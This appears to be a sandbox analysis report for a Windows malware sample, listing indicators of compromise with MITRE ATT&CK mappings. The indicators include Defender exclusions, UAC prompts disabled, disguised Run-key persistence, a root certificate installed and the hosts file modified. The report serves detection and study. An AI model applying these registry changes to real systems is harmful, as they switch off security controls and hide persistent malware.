2358497726dfdfdc3adaf4790ae72388fc42067a32a5eb0939086aaa73de73e2

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	4RLIOE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2n5BDLNt.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\jIAFjr = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1916	powershell.exe
2704	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	4RLIOE.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 10 IoCs

pid	Process
2540	jMrBRD.exe
5436	jMrBRD.exe
6004	4RLIOE.exe
4860	4RLIOE.exe
4252	2EX1d.exe
4076	4RLIOE.exe
3140	2EX1d.exe
1992	WyPl7QFX.exe
5492	2n5BDLNt.exe
5108	sVG0NLPh.exe

Loads dropped DLL 7 IoCs

pid	Process
2540	jMrBRD.exe
5436	jMrBRD.exe
6004	4RLIOE.exe
4860	4RLIOE.exe
4252	2EX1d.exe
4076	4RLIOE.exe
3140	2EX1d.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3964	icacls.exe
2704	icacls.exe
4592	icacls.exe
1500	icacls.exe
4572	icacls.exe
2288	icacls.exe
5856	icacls.exe
1932	icacls.exe
1576	icacls.exe
2424	icacls.exe
5816	icacls.exe
5992	icacls.exe
4316	icacls.exe
3280	icacls.exe
2960	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\jIAFjr\\jMrBRD.exe\""	jMrBRD.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\4RLIOE\\4RLIOE.exe\""	4RLIOE.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

persistence privilege_escalation

Clear Persistence

T1070.009

pid	Process
1156	cmd.exe
1292	cmd.exe
2020	cmd.exe
2348	cmd.exe
4936	cmd.exe
5696	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	jMrBRD.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000f00000001c262-809.dat	upx
behavioral2/memory/5492-810-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral2/files/0x000c00000001c531-841.dat	upx
behavioral2/memory/5108-842-0x00007FF6D5CF0000-0x00007FF6D611F000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\4RLIOE\4RLIOE.exe	jMrBRD.exe
File opened for modification	C:\Program Files (x86)\4RLIOE\XPSPLOG.dll	jMrBRD.exe
File opened for modification	C:\Program Files (x86)\4RLIOE\image.png	jMrBRD.exe
File opened for modification	C:\Program Files (x86)\4RLIOE\thumbs.db	jMrBRD.exe
File opened for modification	C:\Program Files (x86)\APE2f	4RLIOE.exe
File created	C:\Program Files (x86)\APE2f\2EX1d.exe	4RLIOE.exe
File opened for modification	C:\Program Files (x86)\APE2f\2EX1d.exe	4RLIOE.exe
File opened for modification	C:\Program Files (x86)\APE2f\image.png	4RLIOE.exe
File created	C:\Program Files (x86)\4RLIOE\XPSPLOG.dll	jMrBRD.exe
File created	C:\Program Files (x86)\4RLIOE\image.png	jMrBRD.exe
File created	C:\Program Files (x86)\4RLIOE\thumbs.db	jMrBRD.exe
File opened for modification	C:\Program Files (x86)\4RLIOE\4RLIOE.exe	jMrBRD.exe
File opened for modification	C:\Program Files (x86)\APE2f\thumbs.db	4RLIOE.exe
File opened for modification	C:\Program Files (x86)\APE2f\XPSPLOG.dll	4RLIOE.exe
File opened for modification	C:\Program Files (x86)\4RLIOE	jMrBRD.exe
File created	C:\Program Files (x86)\APE2f\image.png	4RLIOE.exe
File created	C:\Program Files (x86)\APE2f\thumbs.db	4RLIOE.exe
File created	C:\Program Files (x86)\APE2f\XPSPLOG.dll	4RLIOE.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2488	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaveActive = "0"	4RLIOE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\SCRNSAVE.EXE	4RLIOE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	4RLIOE.exe

Executes a command shell one-liner 1 TTPs 22 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3388	cmd.exe
5912	cmd.exe
5592	cmd.exe
5752	cmd.exe
5964	cmd.exe
4740	cmd.exe
2164	cmd.exe
1420	cmd.exe
5712	cmd.exe
3676	cmd.exe
2632	cmd.exe
912	cmd.exe
5004	cmd.exe
4236	cmd.exe
4668	cmd.exe
3548	cmd.exe
1684	cmd.exe
1680	cmd.exe
240	cmd.exe
1196	cmd.exe
3028	cmd.exe
4320	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	sVG0NLPh.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	sVG0NLPh.exe

System Location Discovery: System Language Discovery 1 TTPs 40 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WyPl7QFX.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4RLIOE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4RLIOE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2EX1d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2EX1d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2n5BDLNt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4RLIOE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4RLIOE.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	4RLIOE.exe

Modifies Control Panel 4 IoCs

defense_evasion spyware trojan

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaveActive = "0"	4RLIOE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	4RLIOE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	4RLIOE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\SCRNSAVE.EXE	4RLIOE.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	2n5BDLNt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	2n5BDLNt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	2n5BDLNt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	2n5BDLNt.exe

Modifies system certificate store 2 TTPs 1 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	sVG0NLPh.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2388	schtasks.exe
5856	schtasks.exe
4460	schtasks.exe
3388	schtasks.exe
4564	schtasks.exe
5076	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
1200	inset_n19.0.09.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe
2540	jMrBRD.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeIncreaseQuotaPrivilege	2704	powershell.exe
Token: SeSecurityPrivilege	2704	powershell.exe
Token: SeTakeOwnershipPrivilege	2704	powershell.exe
Token: SeLoadDriverPrivilege	2704	powershell.exe
Token: SeSystemProfilePrivilege	2704	powershell.exe
Token: SeSystemtimePrivilege	2704	powershell.exe
Token: SeProfSingleProcessPrivilege	2704	powershell.exe
Token: SeIncBasePriorityPrivilege	2704	powershell.exe
Token: SeCreatePagefilePrivilege	2704	powershell.exe
Token: SeBackupPrivilege	2704	powershell.exe
Token: SeRestorePrivilege	2704	powershell.exe
Token: SeShutdownPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeSystemEnvironmentPrivilege	2704	powershell.exe
Token: SeRemoteShutdownPrivilege	2704	powershell.exe
Token: SeUndockPrivilege	2704	powershell.exe
Token: SeManageVolumePrivilege	2704	powershell.exe
Token: 33	2704	powershell.exe
Token: 34	2704	powershell.exe
Token: 35	2704	powershell.exe
Token: 36	2704	powershell.exe
Token: SeDebugPrivilege	1992	WyPl7QFX.exe
Token: SeLockMemoryPrivilege	5108	sVG0NLPh.exe
Token: SeLockMemoryPrivilege	5108	sVG0NLPh.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5492	2n5BDLNt.exe
5492	2n5BDLNt.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 2704	2540	jMrBRD.exe	93
PID 2540 wrote to memory of 1292	2540	jMrBRD.exe	95
PID 1292 wrote to memory of 5076	1292	cmd.exe	97
PID 2540 wrote to memory of 2020	2540	jMrBRD.exe	98
PID 1292 wrote to memory of 4176	1292	cmd.exe	100
PID 2020 wrote to memory of 2388	2020	cmd.exe	103
PID 1292 wrote to memory of 4528	1292	cmd.exe	104
PID 2540 wrote to memory of 2348	2540	jMrBRD.exe	105
PID 2020 wrote to memory of 3240	2020	cmd.exe	108
PID 2348 wrote to memory of 5856	2348	cmd.exe	109
PID 2020 wrote to memory of 1112	2020	cmd.exe	110
PID 2348 wrote to memory of 672	2348	cmd.exe	111
PID 2540 wrote to memory of 4936	2540	jMrBRD.exe	112
PID 2348 wrote to memory of 3280	2348	cmd.exe	113
PID 4936 wrote to memory of 4460	4936	cmd.exe	115
PID 4936 wrote to memory of 1668	4936	cmd.exe	117
PID 2540 wrote to memory of 5696	2540	jMrBRD.exe	119
PID 4936 wrote to memory of 1496	4936	cmd.exe	121
PID 5696 wrote to memory of 3388	5696	cmd.exe	122
PID 5696 wrote to memory of 2308	5696	cmd.exe	123
PID 5696 wrote to memory of 1500	5696	cmd.exe	125
PID 5752 wrote to memory of 5196	5752	cmd.exe	129
PID 1680 wrote to memory of 4956	1680	cmd.exe	130
PID 5712 wrote to memory of 2140	5712	cmd.exe	131
PID 2540 wrote to memory of 6004	2540	jMrBRD.exe	132
PID 6004 wrote to memory of 5964	6004	4RLIOE.exe	135
PID 6004 wrote to memory of 912	6004	4RLIOE.exe	136
PID 6004 wrote to memory of 240	6004	4RLIOE.exe	139
PID 6004 wrote to memory of 3676	6004	4RLIOE.exe	142
PID 912 wrote to memory of 2288	912	cmd.exe	144
PID 6004 wrote to memory of 1684	6004	4RLIOE.exe	145
PID 1684 wrote to memory of 4316	1684	cmd.exe	147
PID 6004 wrote to memory of 2632	6004	4RLIOE.exe	148
PID 2632 wrote to memory of 5856	2632	cmd.exe	150
PID 6004 wrote to memory of 3548	6004	4RLIOE.exe	151
PID 3548 wrote to memory of 5992	3548	cmd.exe	153
PID 6004 wrote to memory of 2164	6004	4RLIOE.exe	154
PID 2164 wrote to memory of 3280	2164	cmd.exe	156
PID 6004 wrote to memory of 4668	6004	4RLIOE.exe	157
PID 4668 wrote to memory of 4572	4668	cmd.exe	159
PID 6004 wrote to memory of 5592	6004	4RLIOE.exe	160
PID 5592 wrote to memory of 4592	5592	cmd.exe	162
PID 6004 wrote to memory of 5912	6004	4RLIOE.exe	163
PID 5912 wrote to memory of 1576	5912	cmd.exe	165
PID 6004 wrote to memory of 3388	6004	4RLIOE.exe	166
PID 3388 wrote to memory of 2960	3388	cmd.exe	168
PID 6004 wrote to memory of 4740	6004	4RLIOE.exe	169
PID 4740 wrote to memory of 1500	4740	cmd.exe	171
PID 6004 wrote to memory of 4236	6004	4RLIOE.exe	172
PID 4236 wrote to memory of 2424	4236	cmd.exe	174
PID 6004 wrote to memory of 4320	6004	4RLIOE.exe	175
PID 4320 wrote to memory of 3964	4320	cmd.exe	177
PID 6004 wrote to memory of 5004	6004	4RLIOE.exe	178
PID 5004 wrote to memory of 5816	5004	cmd.exe	180
PID 6004 wrote to memory of 3028	6004	4RLIOE.exe	181
PID 3028 wrote to memory of 1932	3028	cmd.exe	183
PID 6004 wrote to memory of 1196	6004	4RLIOE.exe	184
PID 1196 wrote to memory of 2704	1196	cmd.exe	186

System policy modification 1 TTPs 4 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	4RLIOE.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	4RLIOE.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2n5BDLNt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2n5BDLNt.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\inset_n19.0.09.exe
